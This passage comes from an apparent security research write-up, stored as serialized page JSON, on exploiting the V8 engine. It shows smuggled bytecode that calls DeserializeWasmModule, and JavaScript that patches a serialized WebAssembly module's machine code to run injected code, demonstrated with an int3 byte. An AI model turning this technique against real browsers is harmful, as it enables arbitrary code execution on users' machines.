",{"type":24,"tag":32,"props":132656,"children":132658},{"className":132657},[],[132659],{"type":29,"value":132463},{"type":29,"value":132661}," (0x0266) starting from register ",{"type":24,"tag":32,"props":132663,"children":132665},{"className":132664},[],[132666],{"type":29,"value":132667},"a2",{"type":29,"value":132669}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":24,"tag":32,"props":132671,"children":132673},{"className":132672},[],[132674],{"type":29,"value":132675},"DeserializeWasmModule(a2, a1)",{"type":24,"tag":67,"props":132677,"children":132678},{},[132679],{"type":29,"value":132680},"a Jump instruction",{"type":24,"tag":1818,"props":132682,"children":132684},{"id":132683},"returning-back-to-js",[132685],{"type":29,"value":132686},"Returning Back to JS",{"type":24,"tag":25,"props":132688,"children":132689},{},[132690,132692,132698],{"type":29,"value":132691},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":24,"tag":32,"props":132693,"children":132695},{"className":132694},[],[132696],{"type":29,"value":132697},"yield",{"type":29,"value":132699}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":24,"tag":25,"props":132701,"children":132702},{},[132703],{"type":29,"value":132704},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":24,"tag":73,"props":132706,"children":132708},{"code":132707,"language":76,"meta":7,"className":77,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[132709],{"type":24,"tag":32,"props":132710,"children":132711},{"__ignoreMap":7},[132712,132723,132771,132792,132808,132831,132859,132876],{"type":24,"tag":83,"props":132713,"children":132714},{"class":85,"line":86},[132715,132719],{"type":24,"tag":83,"props":132716,"children":132717},{"style":117},[132718],{"type":29,"value":48050},{"type":24,"tag":83,"props":132720,"children":132721},{"style":107},[132722],{"type":29,"value":125},{"type":24,"tag":83,"props":132724,"children":132725},{"class":85,"line":113},[132726,132731,132735,132740,132744,132749,132753,132758,132762,132766],{"type":24,"tag":83,"props":132727,"children":132728},{"style":137},[132729],{"type":29,"value":132730},"  $",{"type":24,"tag":83,"props":132732,"children":132733},{"style":107},[132734],{"type":29,"value":76333},{"type":24,"tag":83,"props":132736,"children":132737},{"style":187},[132738],{"type":29,"value":132739},"'a1 + 0xa931111;'",{"type":24,"tag":83,"props":132741,"children":132742},{"style":107},[132743],{"type":29,"value":161},{"type":24,"tag":83,"props":132745,"children":132746},{"style":101},[132747],{"type":29,"value":132748},"repeat",{"type":24,"tag":83,"props":132750,"children":132751},{"style":107},[132752],{"type":29,"value":558},{"type":24,"tag":83,"props":132754,"children":132755},{"style":245},[132756],{"type":29,"value":132757},"0x059302",{"type":24,"tag":83,"props":132759,"children":132760},{"style":143},[132761],{"type":29,"value":50970},{"type":24,"tag":83,"props":132763,"children":132764},{"style":245},[132765],{"type":29,"value":295},{"type":24,"tag":83,"props":132767,"children":132768},{"style":107},[132769],{"type":29,"value":132770},")}\n",{"type":24,"tag":83,"props":132772,"children":132773},{"class":85,"line":128},[132774,132779,132783,132788],{"type":24,"tag":83,"props":132775,"children":132776},{"style":137},[132777],{"type":29,"value":132778},"  a1",{"type":24,"tag":83,"props":132780,"children":132781},{"style":143},[132782],{"type":29,"value":8649},{"type":24,"tag":83,"props":132784,"children":132785},{"style":245},[132786],{"type":29,"value":132787}," 0x0402666c",{"type":24,"tag":83,"props":132789,"children":132790},{"style":107},[132791],{"type":29,"value":321},{"type":24,"tag":83,"props":132793,"children":132794},{"class":85,"line":183},[132795,132799,132804],{"type":24,"tag":83,"props":132796,"children":132797},{"style":117},[132798],{"type":29,"value":34936},{"type":24,"tag":83,"props":132800,"children":132801},{"style":245},[132802],{"type":29,"value":132803}," 0x393e91a",{"type":24,"tag":83,"props":132805,"children":132806},{"style":107},[132807],{"type":29,"value":321},{"type":24,"tag":83,"props":132809,"children":132810},{"class":85,"line":203},[132811,132815,132819,132823,132827],{"type":24,"tag":83,"props":132812,"children":132813},{"style":107},[132814],{"type":29,"value":1317},{"type":24,"tag":83,"props":132816,"children":132817},{"style":117},[132818],{"type":29,"value":1295},{"type":24,"tag":83,"props":132820,"children":132821},{"style":107},[132822],{"type":29,"value":223},{"type":24,"tag":83,"props":132824,"children":132825},{"style":137},[132826],{"type":29,"value":51169},{"type":24,"tag":83,"props":132828,"children":132829},{"style":107},[132830],{"type":29,"value":253},{"type":24,"tag":83,"props":132832,"children":132833},{"class":85,"line":212},[132834,132838,132842,132846,132850,132855],{"type":24,"tag":83,"props":132835,"children":132836},{"style":137},[132837],{"type":29,"value":101477},{"type":24,"tag":83,"props":132839,"children":132840},{"style":107},[132841],{"type":29,"value":161},{"type":24,"tag":83,"props":132843,"children":132844},{"style":101},[132845],{"type":29,"value":101486},{"type":24,"tag":83,"props":132847,"children":132848},{"style":107},[132849],{"type":29,"value":558},{"type":24,"tag":83,"props":132851,"children":132852},{"style":187},[132853],{"type":29,"value":132854},"\"foo\"",{"type":24,"tag":83,"props":132856,"children":132857},{"style":107},[132858],{"type":29,"value":581},{"type":24,"tag":83,"props":132860,"children":132861},{"class":85,"line":256},[132862,132867,132872],{"type":24,"tag":83,"props":132863,"children":132864},{"style":117},[132865],{"type":29,"value":132866},"  yield",{"type":24,"tag":83,"props":132868,"children":132869},{"style":137},[132870],{"type":29,"value":132871}," a16",{"type":24,"tag":83,"props":132873,"children":132874},{"style":107},[132875],{"type":29,"value":321},{"type":24,"tag":83,"props":132877,"children":132878},{"class":85,"line":270},[132879],{"type":24,"tag":83,"props":132880,"children":132881},{"style":107},[132882],{"type":29,"value":464},{"type":24,"tag":25,"props":132884,"children":132885},{},[132886,132888],{"type":29,"value":132887},"Starting from the final ",{"type":24,"tag":32,"props":132889,"children":132891},{"className":132890},[],[132892],{"type":29,"value":132595},{"type":24,"tag":73,"props":132894,"children":132896},{"code":132895}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[132897],{"type":24,"tag":32,"props":132898,"children":132899},{"__ignoreMap":7},[132900],{"type":29,"value":132895},{"type":24,"tag":25,"props":132902,"children":132903},{},[132904,132906,132911,132913,132919],{"type":29,"value":132905},"The smuggled jump in ",{"type":24,"tag":32,"props":132907,"children":132909},{"className":132908},[],[132910],{"type":29,"value":132595},{"type":29,"value":132912}," will redirect us to ",{"type":24,"tag":32,"props":132914,"children":132916},{"className":132915},[],[132917],{"type":29,"value":132918},"1a e9 93 03",{"type":29,"value":132920},", which results in:",{"type":24,"tag":16422,"props":132922,"children":132923},{},[132924,132935],{"type":24,"tag":67,"props":132925,"children":132926},{},[132927,132933],{"type":24,"tag":32,"props":132928,"children":132930},{"className":132929},[],[132931],{"type":29,"value":132932},"Star r16",{"type":29,"value":132934}," (store accumulator to r16)",{"type":24,"tag":67,"props":132936,"children":132937},{},[132938,132943],{"type":24,"tag":32,"props":132939,"children":132941},{"className":132940},[],[132942],{"type":29,"value":132365},{"type":29,"value":132944}," past the throw into the catch relevant code",{"type":24,"tag":25,"props":132946,"children":132947},{},[132948,132950,132956],{"type":29,"value":132949},"This will bring us nicely to the final ",{"type":24,"tag":32,"props":132951,"children":132953},{"className":132952},[],[132954],{"type":29,"value":132955},"yield a16",{"type":29,"value":132957},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":24,"tag":1818,"props":132959,"children":132961},{"id":132960},"executing-shellcode",[132962],{"type":29,"value":132963},"Executing Shellcode",{"type":24,"tag":25,"props":132965,"children":132966},{},[132967],{"type":29,"value":132968},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":24,"tag":73,"props":132970,"children":132972},{"code":132971,"language":35350,"meta":7,"className":35348,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[132973],{"type":24,"tag":32,"props":132974,"children":132975},{"__ignoreMap":7},[132976,133006,133233,133301,133308,133353,133399,133439,133446,133470,133507,133543],{"type":24,"tag":83,"props":132977,"children":132978},{"class":85,"line":86},[132979,132983,132988,132992,132996,133001],{"type":24,"tag":83,"props":132980,"children":132981},{"style":90},[132982],{"type":29,"value":34784},{"type":24,"tag":83,"props":132984,"children":132985},{"style":137},[132986],{"type":29,"value":132987}," wasm_code",{"type":24,"tag":83,"props":132989,"children":132990},{"style":143},[132991],{"type":29,"value":146},{"type":24,"tag":83,"props":132993,"children":132994},{"style":90},[132995],{"type":29,"value":944},{"type":24,"tag":83,"props":132997,"children":132998},{"style":101},[132999],{"type":29,"value":133000}," Uint8Array",{"type":24,"tag":83,"props":133002,"children":133003},{"style":107},[133004],{"type":29,"value":133005},"([\n",{"type":24,"tag":83,"props":133007,"children":133008},{"class":85,"line":113},[133009,133014,133018,133023,133027,133032,133036,133041,133045,133049,133053,133057,133061,133065,133069,133073,133077,133081,133085,133089,133093,133097,133101,133106,133110,133114,133118,133122,133126,133130,133134,133138,133142,133146,133150,133154,133158,133162,133166,133170,133174,133178,133182,133186,133190,133194,133198,133203,133207,133212,133216,133221,133225,133229],{"type":24,"tag":83,"props":133010,"children":133011},{"style":245},[133012],{"type":29,"value":133013},"  0",{"type":24,"tag":83,"props":133015,"children":133016},{"style":107},[133017],{"type":29,"value":568},{"type":24,"tag":83,"props":133019,"children":133020},{"style":245},[133021],{"type":29,"value":133022},"97",{"type":24,"tag":83,"props":133024,"children":133025},{"style":107},[133026],{"type":29,"value":568},{"type":24,"tag":83,"props":133028,"children":133029},{"style":245},[133030],{"type":29,"value":133031},"115",{"type":24,"tag":83,"props":133033,"children":133034},{"style":107},[133035],{"type":29,"value":568},{"type":24,"tag":83,"props":133037,"children":133038},{"style":245},[133039],{"type":29,"value":133040},"109",{"type":24,"tag":83,"props":133042,"children":133043},{"style":107},[133044],{"type":29,"value":568},{"type":24,"tag":83,"props":133046,"children":133047},{"style":245},[133048],{"type":29,"value":3756},{"type":24,"tag":83,"props":133050,"children":133051},{"style":107},[133052],{"type":29,"value":568},{"type":24,"tag":83,"props":133054,"children":133055},{"style":245},[133056],{"type":29,"value":1166},{"type":24,"tag":83,"props":133058,"children":133059},{"style":107},[133060],{"type":29,"value":568},{"type":24,"tag":83,"props":133062,"children":133063},{"style":245},[133064],{"type":29,"value":1166},{"type":24,"tag":83,"props":133066,"children":133067},{"style":107},[133068],{"type":29,"value":568},{"type":24,"tag":83,"props":133070,"children":133071},{"style":245},[133072],{"type":29,"value":1166},{"type":24,"tag":83,"props":133074,"children":133075},{"style":107},[133076],{"type":29,"value":568},{"type":24,"tag":83,"props":133078,"children":133079},{"style":245},[133080],{"type":29,"value":3756},{"type":24,"tag":83,"props":133082,"children":133083},{"style":107},[133084],{"type":29,"value":568},{"type":24,"tag":83,"props":133086,"children":133087},{"style":245},[133088],{"type":29,"value":17265},{"type":24,"tag":83,"props":133090,"children":133091},{"style":107},[133092],{"type":29,"value":568},{"type":24,"tag":83,"props":133094,"children":133095},{"style":245},[133096],{"type":29,"value":3756},{"type":24,"tag":83,"props":133098,"children":133099},{"style":107},[133100],{"type":29,"value":568},{"type":24,"tag":83,"props":133102,"children":133103},{"style":245},[133104],{"type":29,"value":133105},"96",{"type":24,"tag":83,"props":133107,"children":133108},{"style":107},[133109],{"type":29,"value":568},{"type":24,"tag":83,"props":133111,"children":133112},{"style":245},[133113],{"type":29,"value":1166},{"type":24,"tag":83,"props":133115,"children":133116},{"style":107},[133117],{"type":29,"value":568},{"type":24,"tag":83,"props":133119,"children":133120},{"style":245},[133121],{"type":29,"value":1166},{"type":24,"tag":83,"props":133123,"children":133124},{"style":107},[133125],{"type":29,"value":568},{"type":24,"tag":83,"props":133127,"children":133128},{"style":245},[133129],{"type":29,"value":17032},{"type":24,"tag":83,"props":133131,"children":133132},{"style":107},[133133],{"type":29,"value":568},{"type":24,"tag":83,"props":133135,"children":133136},{"style":245},[133137],{"type":29,"value":2867},{"type":24,"tag":83,"props":133139,"children":133140},{"style":107},[133141],{"type":29,"value":568},{"type":24,"tag":83,"props":133143,"children":133144},{"style":245},[133145],{"type":29,"value":3756},{"type":24,"tag":83,"props":133147,"children":133148},{"style":107},[133149],{"type":29,"value":568},{"type":24,"tag":83,"props":133151,"children":133152},{"style":245},[133153],{"type":29,"value":1166},{"type":24,"tag":83,"props":133155,"children":133156},{"style":107},[133157],{"type":29,"value":568},{"type":24,"tag":83,"props":133159,"children":133160},{"style":245},[133161],{"type":29,"value":54384},{"type":24,"tag":83,"props":133163,"children":133164},{"style":107},[133165],{"type":29,"value":568},{"type":24,"tag":83,"props":133167,"children":133168},{"style":245},[133169],{"type":29,"value":55599},{"type":24,"tag":83,"props":133171,"children":133172},{"style":107},[133173],{"type":29,"value":568},{"type":24,"tag":83,"props":133175,"children":133176},{"style":245},[133177],{"type":29,"value":3756},{"type":24,"tag":83,"props":133179,"children":133180},{"style":107},[133181],{"type":29,"value":568},{"type":24,"tag":83,"props":133183,"children":133184},{"style":245},[133185],{"type":29,"value":17845},{"type":24,"tag":83,"props":133187,"children":133188},{"style":107},[133189],{"type":29,"value":568},{"type":24,"tag":83,"props":133191,"children":133192},{"style":245},[133193],{"type":29,"value":133031},{"type":24,"tag":83,"props":133195,"children":133196},{"style":107},[133197],{"type":29,"value":568},{"type":24,"tag":83,"props":133199,"children":133200},{"style":245},[133201],{"type":29,"value":133202},"104",{"type":24,"tag":83,"props":133204,"children":133205},{"style":107},[133206],{"type":29,"value":568},{"type":24,"tag":83,"props":133208,"children":133209},{"style":245},[133210],{"type":29,"value":133211},"101",{"type":24,"tag":83,"props":133213,"children":133214},{"style":107},[133215],{"type":29,"value":568},{"type":24,"tag":83,"props":133217,"children":133218},{"style":245},[133219],{"type":29,"value":133220},"108",{"type":24,"tag":83,"props":133222,"children":133223},{"style":107},[133224],{"type":29,"value":568},{"type":24,"tag":83,"props":133226,"children":133227},{"style":245},[133228],{"type":29,"value":133220},{"type":24,"tag":83,"props":133230,"children":133231},{"style":107},[133232],{"type":29,"value":989},{"type":24,"tag":83,"props":133234,"children":133235},{"class":85,"line":128},[133236,133240,133244,133248,133252,133256,133260,133264,133268,133272,133276,133280,133284,133288,133292,133297],{"type":24,"tag":83,"props":133237,"children":133238},{"style":245},[133239],{"type":29,"value":133013},{"type":24,"tag":83,"props":133241,"children":133242},{"style":107},[133243],{"type":29,"value":568},{"type":24,"tag":83,"props":133245,"children":133246},{"style":245},[133247],{"type":29,"value":1166},{"type":24,"tag":83,"props":133249,"children":133250},{"style":107},[133251],{"type":29,"value":568},{"type":24,"tag":83,"props":133253,"children":133254},{"style":245},[133255],{"type":29,"value":88966},{"type":24,"tag":83,"props":133257,"children":133258},{"style":107},[133259],{"type":29,"value":568},{"type":24,"tag":83,"props":133261,"children":133262},{"style":245},[133263],{"type":29,"value":17265},{"type":24,"tag":83,"props":133265,"children":133266},{"style":107},[133267],{"type":29,"value":568},{"type":24,"tag":83,"props":133269,"children":133270},{"style":245},[133271],{"type":29,"value":3756},{"type":24,"tag":83,"props":133273,"children":133274},{"style":107},[133275],{"type":29,"value":568},{"type":24,"tag":83,"props":133277,"children":133278},{"style":245},[133279],{"type":29,"value":2867},{"type":24,"tag":83,"props":133281,"children":133282},{"style":107},[133283],{"type":29,"value":568},{"type":24,"tag":83,"props":133285,"children":133286},{"style":245},[133287],{"type":29,"value":1166},{"type":24,"tag":83,"props":133289,"children":133290},{"style":107},[133291],{"type":29,"value":568},{"type":24,"tag":83,"props":133293,"children":133294},{"style":245},[133295],{"type":29,"value":133296},"11",{"type":24,"tag":83,"props":133298,"children":133299},{"style":107},[133300],{"type":29,"value":989},{"type":24,"tag":83,"props":133302,"children":133303},{"class":85,"line":183},[133304],{"type":24,"tag":83,"props":133305,"children":133306},{"style":107},[133307],{"type":29,"value":3496},{"type":24,"tag":83,"props":133309,"children":133310},{"class":85,"line":203},[133311,133315,133319,133323,133327,133332,133336,133340,133344,133349],{"type":24,"tag":83,"props":133312,"children":133313},{"style":90},[133314],{"type":29,"value":34784},{"type":24,"tag":83,"props":133316,"children":133317},{"style":137},[133318],{"type":29,"value":71339},{"type":24,"tag":83,"props":133320,"children":133321},{"style":143},[133322],{"type":29,"value":146},{"type":24,"tag":83,"props":133324,"children":133325},{"style":90},[133326],{"type":29,"value":944},{"type":24,"tag":83,"props":133328,"children":133329},{"style":137},[133330],{"type":29,"value":133331}," WebAssembly",{"type":24,"tag":83,"props":133333,"children":133334},{"style":107},[133335],{"type":29,"value":161},{"type":24,"tag":83,"props":133337,"children":133338},{"style":101},[133339],{"type":29,"value":85632},{"type":24,"tag":83,"props":133341,"children":133342},{"style":107},[133343],{"type":29,"value":558},{"type":24,"tag":83,"props":133345,"children":133346},{"style":137},[133347],{"type":29,"value":133348},"wasm_code",{"type":24,"tag":83,"props":133350,"children":133351},{"style":107},[133352],{"type":29,"value":581},{"type":24,"tag":83,"props":133354,"children":133355},{"class":85,"line":212},[133356,133360,133365,133369,133373,133377,133381,133386,133390,133395],{"type":24,"tag":83,"props":133357,"children":133358},{"style":90},[133359],{"type":29,"value":34784},{"type":24,"tag":83,"props":133361,"children":133362},{"style":137},[133363],{"type":29,"value":133364}," inst",{"type":24,"tag":83,"props":133366,"children":133367},{"style":143},[133368],{"type":29,"value":146},{"type":24,"tag":83,"props":133370,"children":133371},{"style":90},[133372],{"type":29,"value":944},{"type":24,"tag":83,"props":133374,"children":133375},{"style":137},[133376],{"type":29,"value":133331},{"type":24,"tag":83,"props":133378,"children":133379},{"style":107},[133380],{"type":29,"value":161},{"type":24,"tag":83,"props":133382,"children":133383},{"style":101},[133384],{"type":29,"value":133385},"Instance",{"type":24,"tag":83,"props":133387,"children":133388},{"style":107},[133389],{"type":29,"value":558},{"type":24,"tag":83,"props":133391,"children":133392},{"style":137},[133393],{"type":29,"value":133394},"mod",{"type":24,"tag":83,"props":133396,"children":133397},{"style":107},[133398],{"type":29,"value":581},{"type":24,"tag":83,"props":133400,"children":133401},{"class":85,"line":256},[133402,133406,133410,133414,133418,133422,133426,133430,133435],{"type":24,"tag":83,"props":133403,"children":133404},{"style":90},[133405],{"type":29,"value":34784},{"type":24,"tag":83,"props":133407,"children":133408},{"style":137},[133409],{"type":29,"value":79723},{"type":24,"tag":83,"props":133411,"children":133412},{"style":143},[133413],{"type":29,"value":146},{"type":24,"tag":83,"props":133415,"children":133416},{"style":137},[133417],{"type":29,"value":133364},{"type":24,"tag":83,"props":133419,"children":133420},{"style":107},[133421],{"type":29,"value":161},{"type":24,"tag":83,"props":133423,"children":133424},{"style":137},[133425],{"type":29,"value":37609},{"type":24,"tag":83,"props":133427,"children":133428},{"style":107},[133429],{"type":29,"value":161},{"type":24,"tag":83,"props":133431,"children":133432},{"style":137},[133433],{"type":29,"value":133434},"shell",{"type":24,"tag":83,"props":133436,"children":133437},{"style":107},[133438],{"type":29,"value":321},{"type":24,"tag":83,"props":133440,"children":133441},{"class":85,"line":270},[133442],{"type":24,"tag":83,"props":133443,"children":133444},{"emptyLinePlaceholder":16},[133445],{"type":29,"value":3422},{"type":24,"tag":83,"props":133447,"children":133448},{"class":85,"line":302},[133449,133453,133458,133462,133466],{"type":24,"tag":83,"props":133450,"children":133451},{"style":143},[133452],{"type":29,"value":56102},{"type":24,"tag":83,"props":133454,"children":133455},{"style":101},[133456],{"type":29,"value":133457},"WasmTierUpFunction",{"type":24,"tag":83,"props":133459,"children":133460},{"style":107},[133461],{"type":29,"value":558},{"type":24,"tag":83,"props":133463,"children":133464},{"style":137},[133465],{"type":29,"value":76015},{"type":24,"tag":83,"props":133467,"children":133468},{"style":107},[133469],{"type":29,"value":581},{"type":24,"tag":83,"props":133471,"children":133472},{"class":85,"line":324},[133473,133477,133482,133486,133491,133495,133499,133503],{"type":24,"tag":83,"props":133474,"children":133475},{"style":90},[133476],{"type":29,"value":34784},{"type":24,"tag":83,"props":133478,"children":133479},{"style":137},[133480],{"type":29,"value":133481}," serialized",{"type":24,"tag":83,"props":133483,"children":133484},{"style":143},[133485],{"type":29,"value":146},{"type":24,"tag":83,"props":133487,"children":133488},{"style":143},[133489],{"type":29,"value":133490}," %",{"type":24,"tag":83,"props":133492,"children":133493},{"style":101},[133494],{"type":29,"value":132489},{"type":24,"tag":83,"props":133496,"children":133497},{"style":107},[133498],{"type":29,"value":558},{"type":24,"tag":83,"props":133500,"children":133501},{"style":137},[133502],{"type":29,"value":133394},{"type":24,"tag":83,"props":133504,"children":133505},{"style":107},[133506],{"type":29,"value":581},{"type":24,"tag":83,"props":133508,"children":133509},{"class":85,"line":345},[133510,133514,133518,133522,133526,133530,133534,133539],{"type":24,"tag":83,"props":133511,"children":133512},{"style":90},[133513],{"type":29,"value":11534},{"type":24,"tag":83,"props":133515,"children":133516},{"style":137},[133517],{"type":29,"value":8906},{"type":24,"tag":83,"props":133519,"children":133520},{"style":143},[133521],{"type":29,"value":146},{"type":24,"tag":83,"props":133523,"children":133524},{"style":90},[133525],{"type":29,"value":944},{"type":24,"tag":83,"props":133527,"children":133528},{"style":101},[133529],{"type":29,"value":133000},{"type":24,"tag":83,"props":133531,"children":133532},{"style":107},[133533],{"type":29,"value":558},{"type":24,"tag":83,"props":133535,"children":133536},{"style":137},[133537],{"type":29,"value":133538},"serialized",{"type":24,"tag":83,"props":133540,"children":133541},{"style":107},[133542],{"type":29,"value":581},{"type":24,"tag":83,"props":133544,"children":133545},{"class":85,"line":358},[133546,133551,133555,133559,133563,133568,133572,133576,133580,133585,133589,133594,133598,133602,133607],{"type":24,"tag":83,"props":133547,"children":133548},{"style":137},[133549],{"type":29,"value":133550},"console",{"type":24,"tag":83,"props":133552,"children":133553},{"style":107},[133554],{"type":29,"value":161},{"type":24,"tag":83,"props":133556,"children":133557},{"style":101},[133558],{"type":29,"value":101486},{"type":24,"tag":83,"props":133560,"children":133561},{"style":107},[133562],{"type":29,"value":558},{"type":24,"tag":83,"props":133564,"children":133565},{"style":187},[133566],{"type":29,"value":133567},"'['",{"type":24,"tag":83,"props":133569,"children":133570},{"style":143},[133571],{"type":29,"value":8649},{"type":24,"tag":83,"props":133573,"children":133574},{"style":137},[133575],{"type":29,"value":8906},{"type":24,"tag":83,"props":133577,"children":133578},{"style":107},[133579],{"type":29,"value":161},{"type":24,"tag":83,"props":133581,"children":133582},{"style":101},[133583],{"type":29,"value":133584},"join",{"type":24,"tag":83,"props":133586,"children":133587},{"style":107},[133588],{"type":29,"value":558},{"type":24,"tag":83,"props":133590,"children":133591},{"style":187},[133592],{"type":29,"value":133593},"', '",{"type":24,"tag":83,"props":133595,"children":133596},{"style":107},[133597],{"type":29,"value":633},{"type":24,"tag":83,"props":133599,"children":133600},{"style":143},[133601],{"type":29,"value":4126},{"type":24,"tag":83,"props":133603,"children":133604},{"style":187},[133605],{"type":29,"value":133606}," ']'",{"type":24,"tag":83,"props":133608,"children":133609},{"style":107},[133610],{"type":29,"value":581},{"type":24,"tag":25,"props":133612,"children":133613},{},[133614],{"type":29,"value":133615},"This produces the following output:",{"type":24,"tag":73,"props":133617,"children":133619},{"code":133618},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[133620],{"type":24,"tag":32,"props":133621,"children":133622},{"__ignoreMap":7},[133623],{"type":29,"value":133618},{"type":24,"tag":25,"props":133625,"children":133626},{},[133627,133629,133635,133637,133643,133645,133651,133652,133658,133660,133665],{"type":29,"value":133628},"The bytes ",{"type":24,"tag":32,"props":133630,"children":133632},{"className":133631},[],[133633],{"type":29,"value":133634},"85, 72, 137, 229, ...",{"type":29,"value":133636}," correspond to the x86-64 function prologue (",{"type":24,"tag":32,"props":133638,"children":133640},{"className":133639},[],[133641],{"type":29,"value":133642},"push rbp; mov rbp, rsp",{"type":29,"value":133644},"). We replace the first byte with ",{"type":24,"tag":32,"props":133646,"children":133648},{"className":133647},[],[133649],{"type":29,"value":133650},"0xcc",{"type":29,"value":16195},{"type":24,"tag":32,"props":133653,"children":133655},{"className":133654},[],[133656],{"type":29,"value":133657},"int3",{"type":29,"value":133659}," opcode), and use this modified buffer as the serialized input to ",{"type":24,"tag":32,"props":133661,"children":133663},{"className":133662},[],[133664],{"type":29,"value":132463},{"type":29,"value":195},{"type":24,"tag":73,"props":133667,"children":133669},{"code":133668,"language":35350,"meta":7,"className":35348,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[133670],{"type":24,"tag":32,"props":133671,"children":133672},{"__ignoreMap":7},[133673,133696,133723,133943,134010,134018,134045,134259,134511,134762,134988,135232,135452,135459,135508,135553,135597,135636,135648],{"type":24,"tag":83,"props":133674,"children":133675},{"class":85,"line":86},[133676,133680,133684,133688,133692],{"type":24,"tag":83,"props":133677,"children":133678},{"style":107},[133679],{"type":29,"value":558},{"type":24,"tag":83,"props":133681,"children":133682},{"style":90},[133683],{"type":29,"value":93},{"type":24,"tag":83,"props":133685,"children":133686},{"style":107},[133687],{"type":29,"value":39412},{"type":24,"tag":83,"props":133689,"children":133690},{"style":90},[133691],{"type":29,"value":14564},{"type":24,"tag":83,"props":133693,"children":133694},{"style":107},[133695],{"type":29,"value":125},{"type":24,"tag":83,"props":133697,"children":133698},{"class":85,"line":113},[133699,133703,133707,133711,133715,133719],{"type":24,"tag":83,"props":133700,"children":133701},{"style":90},[133702],{"type":29,"value":526},{"type":24,"tag":83,"props":133704,"children":133705},{"style":137},[133706],{"type":29,"value":132987},{"type":24,"tag":83,"props":133708,"children":133709},{"style":143},[133710],{"type":29,"value":146},{"type":24,"tag":83,"props":133712,"children":133713},{"style":90},[133714],{"type":29,"value":944},{"type":24,"tag":83,"props":133716,"children":133717},{"style":101},[133718],{"type":29,"value":133000},{"type":24,"tag":83,"props":133720,"children":133721},{"style":107},[133722],{"type":29,"value":133005},{"type":24,"tag":83,"props":133724,"children":133725},{"class":85,"line":128},[133726,133731,133735,133739,133743,133747,133751,133755,133759,133763,133767,133771,133775,133779,133783,133787,133791,133795,133799,133803,133807,133811,133815,133819,133823,133827,133831,133835,133839,133843,133847,133851,133855,133859,133863,133867,133871,133875,133879,133883,133887,133891,133895,133899,133903,133907,133911,133915,133919,133923,133927,133931,133935,133939],{"type":24,"tag":83,"props":133727,"children":133728},{"style":245},[133729],{"type":29,"value":133730},"    